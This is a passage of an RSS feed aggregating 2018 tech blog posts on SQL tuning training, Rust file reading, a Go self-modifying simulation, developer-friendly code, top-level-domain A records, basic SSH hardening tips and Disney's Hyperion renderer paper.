  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;img alt="" src="https://tanelpoder.com/files/images/sql_plan_data_flow.jpg" /&gt;&lt;/td&gt;
          &lt;td&gt;&lt;img alt="" src="https://tanelpoder.com/files/images/sql_monitoring_report.jpg" /&gt;&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;I hope you&amp;rsquo;ll find some of this stuff interesting and &amp;ldquo;See&amp;rdquo; you soon :-)&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Tue, 21 Aug 2018 04:53:00 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/posts/2018-08-20-oracle-sql-tuning-training-oracle-troubleshooting-training/</guid></item><item><title>Exploring user offboarding – UX reading list</title><link>https://yasha.solutions/exploring-user-offboarding-ux-reading-list/</link><description>Designing Friction For A Better User Experience Offboarding — The Way to Say Goodbye to Your Users Design Pleasant Cancellation Experience and Improve Retention Offboard as a designer Offboarding: How and How Not to End Relationships with Users</description><author>Yasha Solutions</author><pubDate>Mon, 20 Aug 2018 14:50:25 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/exploring-user-offboarding-ux-reading-list/</guid></item><item><title>Binary Tree in Haskell</title><link>https://www.anardil.net/2018/binary-tree-in-haskell.html</link><description>&lt;p&gt;Binary Tree in Haskell&lt;/p&gt;</description><author>Anardil</author><pubDate>Mon, 20 Aug 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2018/binary-tree-in-haskell.html</guid></item><item><title>Reading files quickly in Rust</title><link>https://boyter.org/posts/reading-files-quickly-in-rust/</link><description>&lt;p&gt;I have been wanting to learn Rust for a while now. I did play with it some time back &lt;a href="https://boyter.org/2017/09/working-rust/"&gt;https://boyter.org/2017/09/working-rust/&lt;/a&gt; for solving some of the project Euler problems and was reasonably impressed with how it turned out. However as I had no practical use for it at the time I ended up investing more time in Go.&lt;/p&gt;
&lt;p&gt;Go as it turns out is a pretty decent language, and somewhat akin to Python in terms of getting things done. There is usually one obvious way to solve any problem. I was even very happy with the performance I was getting out of it. As such I took on building the fastest version of a count lines of code program I could using Go &lt;code&gt;scc&lt;/code&gt; which you can read about at &lt;a href="https://boyter.org/posts/sloc-cloc-code/"&gt;sloc cloc and code&lt;/a&gt;.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Mon, 20 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/reading-files-quickly-in-rust/</guid></item><item><title>Roee: Self Modifying Go Simulation Experiment - Part 2</title><link>https://liza.io/roee-self-modifying-go-simulation-experiment-part-2/</link><description>&lt;p&gt;&lt;a name="top"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://liza.io/roee-self-modifying-go-simulation-experiment-part-1/"&gt;&amp;lt;&amp;ndash; PART ONE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#overview"&gt;Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#ormi"&gt;ORM Intentionaliser&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#aggregationObserver"&gt;aggregationObserver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#aggregationReifier"&gt;aggregationReifier&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#aggregationModifier"&gt;aggregationModifier&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#newtype"&gt;The new type&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#qualifier"&gt;Qualifier&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#restarting"&gt;Recompiling and restarting&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#roeeweb"&gt;Visualizing the results&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#conclusion"&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="overview"&gt;&lt;a name="overview"&gt;&lt;/a&gt;Overview&lt;/h2&gt;
&lt;p&gt;In Part 1 we talked about the general setup of the world/grid and what the &lt;code&gt;Agent&lt;/code&gt; and &lt;code&gt;Instructions&lt;/code&gt; metamodels do. We left off at the part where the grid sends a copy of itself to whatever observer channels it has (currently just the &lt;code&gt;aggregationObserver&lt;/code&gt;). So in this part we can go over my very rudimentary version of the &amp;ldquo;ORM Intentionaliser&amp;rdquo;.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Mon, 20 Aug 2018 00:15:09 GMT</pubDate><guid isPermaLink="true">https://liza.io/roee-self-modifying-go-simulation-experiment-part-2/</guid></item><item><title>Make Your Source Code Developer-Friendly</title><link>https://www.mikekasberg.com/blog/2018/08/19/make-your-source-code-developer-friendly.html</link><description>&lt;p&gt;Is your source code developer-friendly? Developers talk about user-friendliness
of applications all the time, but don’t often think about whether their own
source code is user-friendly. Code tends to rot over time. The documentation
gets out of date, configuration files change, little “hacks” are put into
place… Eventually, it gets so bad it takes &lt;em&gt;days&lt;/em&gt; for a new developer to get
his environment set up. And along the way, he has to talk to two or three gurus
that know all the little tricks to make things work right. As code ages, it
becomes less developer-friendly. As developers, it’s our job to counteract that
tendency.&lt;/p&gt;

&lt;p&gt;It’s pretty easy to assess the developer-friendliness of a code base. A
developer who’s never seen your code before should be able to clone your Git
repository, run your tests, run your application, and produce a build without
any extra help. And the time it takes him to do all of that should be measured
in &lt;em&gt;minutes&lt;/em&gt;, not hours. Most enterprise code bases probably fail miserably by
these standards but I don’t think it’s &lt;em&gt;impossible&lt;/em&gt; to live up to them, even
with a large code base. And at least they provide a goal to shoot for.&lt;/p&gt;

&lt;p&gt;Software tends to change, and it tends to change quickly. Most code bases are
probably pretty friendly when they’re first created. Young code bases are
simple, so it’s easy to meet all the criteria listed above. And everyone has
every intention of keeping it that way. But as code bases grow, they &lt;a href="https://www.mikekasberg.com/blog/2018/07/23/code-reuse-and-simplicity.html"&gt;become
very complex very fast&lt;/a&gt;. In what seems like an instant, the
code isn’t developer-friendly anymore. Developers need to be proactive about
fighting this trend.&lt;/p&gt;

&lt;h2 id="why-is-this-important"&gt;Why is this important?&lt;/h2&gt;

&lt;p&gt;Developer-friendly code has business value. When your code isn’t
developer-friendly, it takes new developers longer to get their environment set
up. It also takes seasoned developers longer to keep their environment
maintained and up-to-date. Suppose a mid-level engineer drops and breaks his
laptop on the way to work and needs to set up his environment from scratch. Will
that take him a couple hours or a couple days? Alternatively, suppose a team
needs to add some features to a project that hasn’t been touched in a few years.
What kind of state was that project left in, and how long will it take the team
to create environments to build, test, and deploy the code? The long-term,
repetitive costs of code bases that aren’t developer-friendly add up quickly.&lt;/p&gt;

&lt;h2 id="how-do-you-fix-it"&gt;How do you fix it?&lt;/h2&gt;

&lt;p&gt;So, what do you do if you have an older code base that needs a little love and
attention?&lt;/p&gt;

&lt;h3 id="write-a-readme"&gt;Write a README&lt;/h3&gt;

&lt;p&gt;Github has influenced the software development industry in a lot of ways. One
subtle influence is that Github really encourages the use of a &lt;code class="language-plaintext highlighter-rouge"&gt;README.md&lt;/code&gt; file
at the root of your repository by rendering it on your repository’s Github page.
Even if you’re not using Github, including a &lt;code class="language-plaintext highlighter-rouge"&gt;README.md&lt;/code&gt; file in your repository
is a great practice. When you have a readme file, developers don’t have to go
searching for the documentation - it’s right there next to the code. Because the
readme is checked into the repository, it’s version controlled, and can be
updated as the code changes. Even if it gets out of date, it’s easy for any
developer to fix it, since they already have permissions and know how to make
source file changes in the repository. When you’re writing a readme, keep your
developer-friendliness goals in mind. A good readme should explain how to run
the tests, run the application, and produce a build.&lt;/p&gt;

&lt;h3 id="simplify-your-toolchain"&gt;Simplify Your Toolchain&lt;/h3&gt;

&lt;p&gt;If you create a readme file and it seems way too long, it probably is. The
instructions in your readme file should be &lt;em&gt;simple&lt;/em&gt;. And if they’re not, it’s a
good indication that your process is too complicated. Ideally, there would only
be a single command to test your application, a single command to run it, and a
single command to deploy it. If any of those steps currently require more than
one or two commands, consider creating a shell script (like &lt;code class="language-plaintext highlighter-rouge"&gt;test.sh&lt;/code&gt;). This
makes it easy to run the tests without worrying about the complicated bits - and
a developer can still inspect the script if he wants to understand what’s
actually going on. Short, simple commands are easier for new developers to grasp
and faster for experienced developers to use.&lt;/p&gt;

&lt;h3 id="simplify-your-process"&gt;Simplify Your Process&lt;/h3&gt;

&lt;p&gt;If you have a readme file and it’s easy for developers to get things running,
you’re already well on your way to improving the developer-friendliness of your
code base. But there’s probably still more you can do. Do developers know what
they have to do to get their code merged and approved? Many open source projects
document that process in a &lt;code class="language-plaintext highlighter-rouge"&gt;CONTRIBUTING.md&lt;/code&gt; file. What about continuous
integration? Do you have an automated process to ensure that code passes quality
checks before it gets merged into master? Automated test, build, and deployment
processes prevent human mistakes while also making your repositories easier to
interact with.&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Mon, 20 Aug 2018 00:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2018/08/19/make-your-source-code-developer-friendly.html</guid></item><item><title>Roee: Self Modifying Go Simulation Experiment - Part 1</title><link>https://liza.io/roee-self-modifying-go-simulation-experiment-part-1/</link><description>&lt;p&gt;&lt;a name="top"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#introduction"&gt;Intro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#ormi"&gt;ORM Intentionaliser&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#questions"&gt;Questions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#go"&gt;Self-modifying simulation in Go?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#whatarewebootstrapping"&gt;What are we bootstrapping?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#vague"&gt;Vague definitions and bad practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#world"&gt;The world&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#instructions"&gt;Instructions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#runningtheworld"&gt;Running the World&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://liza.io/roee-self-modifying-go-simulation-experiment-part-2/"&gt;PART TWO &amp;ndash;&amp;gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="intro"&gt;&lt;a name="introduction"&gt;&lt;/a&gt; Intro&lt;/h2&gt;
&lt;p&gt;I took up a small pet project over summer that I called Roee. It was very loosely based on a paper I&amp;rsquo;d read by Susan Stepney and Tim Hoverd, &lt;a href="https://www-users.cs.york.ac.uk/susan/bib/ss/nonstd/ecal11-17.htm"&gt;&lt;em&gt;Reflecting on Open Ended Evolution&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 19 Aug 2018 19:10:14 GMT</pubDate><guid isPermaLink="true">https://liza.io/roee-self-modifying-go-simulation-experiment-part-1/</guid></item><item><title>Helping as Learning</title><link>https://liza.io/microposts/helping-as-learning/</link><description>&lt;p&gt;Answering questions or helping other people seems to be a good way for me to learn more about a language. I&amp;rsquo;ve been trying to be more active on the Go forums for this reason, answering questions as they pop up (especially focusing on the ones that may not have gotten much attention). Even a very simple question can get you to go down a rabbit hole and learn more as you&amp;rsquo;re formulating an explanation as part of the answer.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 19 Aug 2018 15:07:05 GMT</pubDate><guid isPermaLink="true">https://liza.io/microposts/helping-as-learning/</guid></item><item><title>How to Root Moto X (2nd Gen) XT1093-Victara</title><link>https://xosh.org/unlock-root-moto-x-2nd-gen/</link><description>&lt;p&gt;Steps to root and unlock Moto X (2nd Gen) boot loader.&lt;/p&gt;</description><author>XOSH.ORG</author><pubDate>Sun, 19 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xosh.org/unlock-root-moto-x-2nd-gen/</guid></item><item><title>Are all photos the same on Instagram?</title><link>https://yasha.solutions/are-all-photos-the-same-on-instagram/</link><description>InstaRepeat the account that gather insta gram photos who look alike. Very surprising.
Check out the account InstaRepeat</description><author>Yasha Solutions</author><pubDate>Sat, 18 Aug 2018 17:06:11 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/are-all-photos-the-same-on-instagram/</guid></item><item><title>Palestine travel bookmarks</title><link>https://xenodium.com/palestine-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.tripadvisor.co.uk/Restaurant_Review-g667136-d7360437-Reviews-Rukab_s_Ice_Cream-Ramallah_Binyamin_Region_West_Bank.html"&gt;Rukab's Ice Cream, Ramallah (Trip advisor)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 18 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/palestine-travel-bookmarks</guid></item><item><title>Enabling Control-Meta(⌘)-D on macOS</title><link>https://xenodium.com/enabling-control-meta-d-on-macos</link><description>&lt;p&gt;I use command (⌘) as my Emacs Meta key. Recently discovered C-M-d is not available to Emacs for binding keys on macOS. Stack Exchange had the &lt;a href="https://apple.stackexchange.com/questions/22785/how-do-i-disable-the-command-control-d-word-definition-keyboard-shortcut-in-os-x"&gt;workaround&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;defaults write com.apple.symbolichotkeys AppleSymbolicHotKeys -dict-add 70 '&amp;lt;dict&amp;gt;&amp;lt;key&amp;gt;enabled&amp;lt;/key&amp;gt;&amp;lt;false/&amp;gt;&amp;lt;/dict&amp;gt;'
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 18 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/enabling-control-meta-d-on-macos</guid></item><item><title>A records on top level domains</title><link>https://captnemo.in/blog/2018/08/18/tld-a-records/</link><description>&lt;p&gt;A few more changes since &lt;a href="/blog/2018/06/02/google-tld-no-more-a-records/"&gt;the last time I ran this&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;: An automatically updated version of this is available at https://captnemo.in/tld-a-record/&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;TLD&lt;/td&gt;
      &lt;td&gt;IP&lt;/td&gt;
      &lt;td&gt;Web&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ai&lt;/td&gt;
      &lt;td&gt;209.59.119.34&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://ai"&gt;http&lt;/a&gt;] [&lt;a href="https://ai"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;arab&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://arab"&gt;http&lt;/a&gt;] [&lt;a href="https://arab"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;bh&lt;/td&gt;
      &lt;td&gt;88.201.27.211&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://bh"&gt;http&lt;/a&gt;] [&lt;a href="https://bh"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;charity&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://charity"&gt;http&lt;/a&gt;] [&lt;a href="https://charity"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;cm&lt;/td&gt;
      &lt;td&gt;195.24.205.60&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://cm"&gt;http&lt;/a&gt;] [&lt;a href="https://cm"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;dk&lt;/td&gt;
      &lt;td&gt;193.163.102.58&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://dk"&gt;http&lt;/a&gt;] [&lt;a href="https://dk"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;gg&lt;/td&gt;
      &lt;td&gt;87.117.196.80&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://gg"&gt;http&lt;/a&gt;] [&lt;a href="https://gg"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;inc&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://inc"&gt;http&lt;/a&gt;] [&lt;a href="https://inc"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;je&lt;/td&gt;
      &lt;td&gt;87.117.196.80&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://je"&gt;http&lt;/a&gt;] [&lt;a href="https://je"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;pa&lt;/td&gt;
      &lt;td&gt;168.77.8.43&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://pa"&gt;http&lt;/a&gt;] [&lt;a href="https://pa"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;pn&lt;/td&gt;
      &lt;td&gt;80.68.93.100&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://pn"&gt;http&lt;/a&gt;] [&lt;a href="https://pn"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;politie&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://politie"&gt;http&lt;/a&gt;] [&lt;a href="https://politie"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;tk&lt;/td&gt;
      &lt;td&gt;217.119.57.22&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://tk"&gt;http&lt;/a&gt;] [&lt;a href="https://tk"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;uz&lt;/td&gt;
      &lt;td&gt;91.212.89.8&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://uz"&gt;http&lt;/a&gt;] [&lt;a href="https://uz"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ws&lt;/td&gt;
      &lt;td&gt;64.70.19.33&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://ws"&gt;http&lt;/a&gt;] [&lt;a href="https://ws"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;мон&lt;/td&gt;
      &lt;td&gt;202.170.80.40&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://мон"&gt;http&lt;/a&gt;] [&lt;a href="https://мон"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;мон&lt;/td&gt;
      &lt;td&gt;218.100.84.27&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://мон"&gt;http&lt;/a&gt;] [&lt;a href="https://мон"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;мон&lt;/td&gt;
      &lt;td&gt;180.149.98.78&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://мон"&gt;http&lt;/a&gt;] [&lt;a href="https://мон"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;政府&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://政府"&gt;http&lt;/a&gt;] [&lt;a href="https://政府"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;عرب&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;[&lt;a href="http://عرب"&gt;http&lt;/a&gt;] [&lt;a href="https://عرب"&gt;https&lt;/a&gt;]&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Diff:&lt;/p&gt;

&lt;div class="language-diff highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="gi"&gt;+bh
+charity
&lt;/span&gt;&lt;span class="gd"&gt;-etisalat
&lt;/span&gt;&lt;span class="gi"&gt;+inc
&lt;/span&gt;&lt;span class="gd"&gt;-اتصالات
-招聘
&lt;/span&gt; 政府
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</description><author>Nemo's Home</author><pubDate>Sat, 18 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2018/08/18/tld-a-records/</guid></item><item><title>SSH configuration tips for basic server security</title><link>https://yasha.solutions/ssh-configuration-tips-for-basic-server-security/</link><description>Don’t run the internet facing SSH on an IP used by a key application. Use a dedicated host acting as a jump box. Use port knocking. Use key pairs. Use fail2ban. Don’t allow root logins. Restrict access to a named group. Don’t use shared logins. Don’t allow direct access below the presentation tier.  Have more ?
Ping me in the comment or in twitter and I’ll add them here.</description><author>Yasha Solutions</author><pubDate>Fri, 17 Aug 2018 23:30:07 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/ssh-configuration-tips-for-basic-server-security/</guid></item><item><title>Observing Minard Observing Napoléon</title><link>https://www.masswerk.at/nowgobang/2018/observing-minard</link><description>Observations on textual strategy in infographics by the example of the "Greatest Infographic of All Times".</description><author>mass:werk – Now Go Bang!</author><pubDate>Fri, 17 Aug 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://www.masswerk.at/nowgobang/2018/observing-minard</guid></item><item><title>A brief guide to OIAs in New Zealand</title><link>https://utf9k.net/blog/nz-oia-guide/</link><description>My extremely brief crash course in the Official Information Act and how it can be used for some interesting civic side projects</description><author>utf9k</author><pubDate>Fri, 17 Aug 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://utf9k.net/blog/nz-oia-guide/</guid></item><item><title>Short Crypto Rant</title><link>https://zefram.xyz/2018/08/short-crypto-rant.html</link><description>&lt;p&gt;&lt;strong&gt;Disclaimer: No one in the world wants what I said in this post to be false more than I do.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="one"&gt;One &lt;/h2&gt;
&lt;p&gt;ConsenSys is not all rainbows, sunshine, and unicorns. (to the surprise of no one)&lt;/p&gt;
&lt;p&gt;The flat governance structure is something that definitely makes ConsenSys unique and enjoyable to work at: everyone treats you as equal, snobby dicks are rare, and no one tells you what to do at work everyday or when you go to work. It would be hard to go back to the traditional hierarchical world.&lt;/p&gt;</description><author>Zefram's Blog</author><pubDate>Fri, 17 Aug 2018 07:05:00 GMT</pubDate><guid isPermaLink="true">https://zefram.xyz/2018/08/short-crypto-rant.html</guid></item><item><title>Transactions on Graphics Paper- The Design and Evolution of Disney's Hyperion Renderer</title><link>https://blog.yiningkarlli.com/2018/08/hyperion-tog-paper.html</link><description>&lt;p&gt;The August 2018 issue of &lt;a href="https://tog.acm.org"&gt;ACM Transactions on Graphics&lt;/a&gt; (Volume 37 Issue 3) is partially a special issue on production rendering, featuring five systems papers describing notable, major production renderers in use today.
I got to contribute to one of these papers as part of the Hyperion team at Walt Disney Animation Studios!
Our paper, titled “The Design and Evolution of Disney’s Hyperion Renderer”, discusses exactly what the title suggests.
We present a detailed look inside how Hyperion is designed today, discuss the decisions that went into its current design, and examine how Hyperion has evolved since the original EGSR 2013 “&lt;a href="https://disney-animation.s3.amazonaws.com/uploads/production/publication_asset/70/asset/Sorted_Deferred_Shading_For_Production_Path_Tracing.pdf"&gt;Sorted Deferred Shading for Production Path Tracing&lt;/a&gt;” paper that was the start of Hyperion.
A number of Hyperion developers contributed to this paper as co-authors, along with Hank Driskill, who was the technical supervisor on &lt;em&gt;Big Hero 6&lt;/em&gt; and &lt;em&gt;Moana&lt;/em&gt; and was one of the key supporters of Hyperion’s early development and deployment.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Aug/design_of_hyperion.png"&gt;&lt;img alt="Image from paper Figure 1: Production frames from &amp;lt;em&amp;gt;Big Hero 6&amp;lt;/em&amp;gt; (upper left), &amp;lt;em&amp;gt;Zootopia&amp;lt;/em&amp;gt; (upper right), &amp;lt;em&amp;gt;Moana&amp;lt;/em&amp;gt; (bottom left), and &amp;lt;em&amp;gt;Olaf’s Frozen Adventure&amp;lt;/em&amp;gt; (bottom right), all rendered using Disney’s Hyperion Renderer." src="https://blog.yiningkarlli.com/content/images/2018/Aug/preview/design_of_hyperion.webp" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is the paper abstract:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Walt Disney Animation Studios has transitioned to path-traced global illumination as part of a progression of brute-force physically based rendering in the name of artist efficiency. To achieve this without compromising our geometric or shading complexity, we built our Hyperion renderer based on a novel architecture that extracts traversal and shading coherence from large, sorted ray batches. In this article, we describe our architecture and discuss our design decisions. We also explain how we are able to provide artistic control in a physically based renderer, and we demonstrate through case studies how we have benefited from having a proprietary renderer that can evolve with production needs.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The paper and related materials can be found at:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.yiningkarlli.com/projects/hyperiondesign.html"&gt;Project Page (Author’s Version)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://dl.acm.org/citation.cfm?doid=3243123.3182159"&gt;Official Print Version (ACM Library)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We owe a huge thanks to &lt;a href="https://pharr.org/matt/"&gt;Matt Pharr&lt;/a&gt;, who came up with the idea for a TOG special issue on production rendering and coordinated the writing of all of the papers, and &lt;a href="http://www.cs.cornell.edu/~kb/"&gt;Kavita Bala&lt;/a&gt;, who as editor-in-chief of TOG supported all of the special issue papers.
This issue has actually been in the works for some time; Matt Pharr contacted us over a year ago about putting together a special issue, and we began work on our paper in May 2017.
Matt and Kavita generously gave all of the contributors to the special issue a significant amount of time to write, and Matt provided a lot of valuable feedback and suggestions to all five of the final papers.
The end result is, in my opinion, something special indeed.
The five rendering teams that contributed papers in the end were Solid Angle’s Arnold, Sony Imageworks’ Arnold, Weta Digital’s Manuka, Pixar’s Renderman, and ourselves.
All five of the papers in the special issue are fascinating, well-written, highly technical rendering systems papers (as opposed to just marketing fluff), and absolutely worth a read!&lt;/p&gt;

&lt;p&gt;Something important that I want to emphasize here is that the author lists for all five papers are somewhat deceptive.
One might think that the author lists represent all of the people responsible for each renderers’ success; this idea is, of course, inaccurate.
For Hyperion, the authors on this paper represent just a small fraction of all of the people responsible for Hyperion’s success.
Numerous engineers not on the author list have made significant contributions to Hyperion in the past, and the project relies enormously on all of the QA engineers, managers/leaders, TDs, artists, and production partners that test, lead, deploy, and use Hyperion every day.
We also owe an enormous amount to all of the researchers that we have collaborated directly with, or who we haven’t collaborated directly with but have used their work.
The success of every production renderer comes not just from the core development team, but instead from the entire community of folks that surround a production renderer; this is just as true for Hyperion as it is for Renderman, Arnold, Manuka, etc.
The following is often said in our field but nonetheless true: building an advanced production renderer in a reasonable timeframe really is only possible through a massive team effort.&lt;/p&gt;

&lt;p&gt;This summer, in addition to publishing this paper, members of the Hyperion team also presented the following at SIGGRAPH 2018:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Peter Kutz was on the “&lt;a href="https://dl.acm.org/citation.cfm?id=3214901"&gt;Design and Implementation of Modern Production Renderers&lt;/a&gt;” panel put together by Matt Pharr to discuss the five TOG production rendering papers. Originally Brent Burley was supposed to represent the Hyperion team, but due to some outside circumstances, Brent wasn’t able to make it to SIGGRAPH this year, so Peter went in Brent’s place.&lt;/li&gt;
  &lt;li&gt;Matt Jen-Yuan Chiang presented a talk on rendering eyes, titled “&lt;a href="https://dl.acm.org/citation.cfm?id=3214751"&gt;Plausible Iris Caustics and Limbal Arc Rendering&lt;/a&gt;”, in the “It’s a Material World” talks session.&lt;/li&gt;
